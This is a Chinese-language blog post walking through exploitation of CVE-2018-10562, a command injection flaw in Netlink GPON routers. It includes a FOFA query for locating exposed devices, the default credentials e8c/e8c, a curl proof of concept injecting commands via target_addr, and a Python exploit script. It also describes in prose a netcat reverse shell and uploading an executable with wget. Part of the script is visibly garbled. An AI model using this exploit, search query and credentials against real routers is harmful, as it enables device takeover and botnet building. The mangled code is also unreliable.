Netlink GPON路由器命令注入漏洞利用(CVE-2018-10562)

CVE-2018-10562漏洞利用(gpon router)


0x01 前言

最近看到一些有关僵尸网络的活动信息。Muhstik僵尸网络和Maria僵尸等,都在利用gpon漏洞进行构建僵尸网络,黑客可以利用该漏洞在Netlink GPON路由器上进行恶意样本植入,进而控制设备发起DDos攻击、窃取敏感信息等恶意行为。于是根据相应的报道,看了一下gpon相应的RCE漏洞,经过对已公开 PoC 的分析,能够确定该漏洞利用简单有效,影响面很广,并且在fofa,shadon中查找这些设备,存在公网中的数量有上万个。具体的fofa搜索方式为app="/boaform",根据poc, 想试着分析一下漏是否有值得利用的点。
Netlink GPON路由器命令注入漏洞利用(CVE-2018-10562)_第1张图片

0x02 漏洞描述

漏洞类型:远程命令执行(需要登陆)
根据exploit中公开的poc( 漏洞poc入口)可以了解到

curl -L -d "target_addr=;ls /&waninf=1_INTERNET_R_VID_154"
http://TARGETIP/boaform/admin/formPing

此漏洞出现的注入点target_addr可以进行任意命令注入。但是此根据此漏洞是需要进行验证后才能够触发,于是我查了一下此设备的弱口令e8c/e8c 。

在设备/bin/boaWeb服务端程序内存在2个函数formPing()和formTracert()。
它们在处理/boaform/admin/formPing和/boaform/admin/formTracertPOST请求时,未检查target_addr参数就调用系统ping和traceroute命令,从而导致命令注入漏洞。

0x03 漏洞复现

首先我根据poc修改为exp 利用的脚本,更方便测试其他命令的注入测试。

def execute_command(command,TARGET):
	url = TARGET+"/boaform/admin/formLogin"
	# 创建session
	request1 = requests.session()
	login = {"username":"e8c","psd":"e8c"}
	# 发送登录数据
	r = request1.post(url, headers=header(login), data=login, verify=False,timeout=10)
	url1 = TARGET+"/boaform/admin/formPing"
	print('----------------',url1)
	# 发送远程命令的执行
	command = "busybox"
	print(command)
	post_data = "target_addr=;"+command+"&waninf=1_INTERNET_R_VID_154"
	r1 = request1.post(url1,data=post_data, verify=False,timeout=10)
	print(r1.text.split("
")[1].split("
")[0]) if 'bin' in r1.text.split("
")[1].split("
")[0] and 'var' in r1.text.split("
")[1].split("
")[0]: print('200') status = 200 return status else: print(r1.status_code) return r1.status_code

利用exp, 可以更好的进行对设备进行漏洞的利用了。这个漏洞还是很棒,每次输入,都会带有返回的结果。可以根据输入的命令,返回执行的结果。

0x04 漏洞利用

在路由器的漏洞利用中,反弹shell, 利用msf 获取shell,开启一些duank往路由器中植入一些木马,或者控制端的程序,这里只是为了测试能够进行复现,简单的进行利用,正道的光,照在那大地上,希望大伙能唱着这句歌,别在边缘横跳,主要在于如何学习利用漏洞。
首先测试一下获取路由器的shell, 看看这个路由器的busybox支持什么命令。
获取shell ,使用的是俗称瑞士军刀的netcat,通过netcat直接反弹shell 到云服务器上。之后就可以看看路由器内部的结构。Netlink GPON路由器命令注入漏洞利用(CVE-2018-10562)_第2张图片
发现这个路由器支持wget命令,于是尝试上传一个可执行文件。这个可执行文件中有一条ping的命令,用于ping ceye.io 平台。说明这个设备可以上传文件,并且上传后可以执行文件中的内容,另一方面要注意的是,需要给上传的文件相应的权限。

Netlink GPON路由器命令注入漏洞利用(CVE-2018-10562)_第3张图片

0x05 总结

终于知道为啥很多的僵尸网络会使用这个漏洞了,因为这个漏洞利用简单有效,支持很多种命令,以上在漏洞利用中描述了如何利用这种漏洞。值得注意的是,这个设备中同时又nc和netcat这两个命令,在我的理解中,这两个本就是同一种命令,可是在进行测试的时候,一直无法使用nc ,netcat却可以正常使用。所以诸位在进行漏洞利用的时候,各种命令都可以尝试一下。 漏洞利用其实有很多的方式,往后会专门总结一些在路由器中运用限有的命令,做一些上传文件,执行文件的动作。

努力成为那只勇敢飞行的菜鸟

你可能感兴趣的:(一无所知的渗透,python,网络,安全,iot)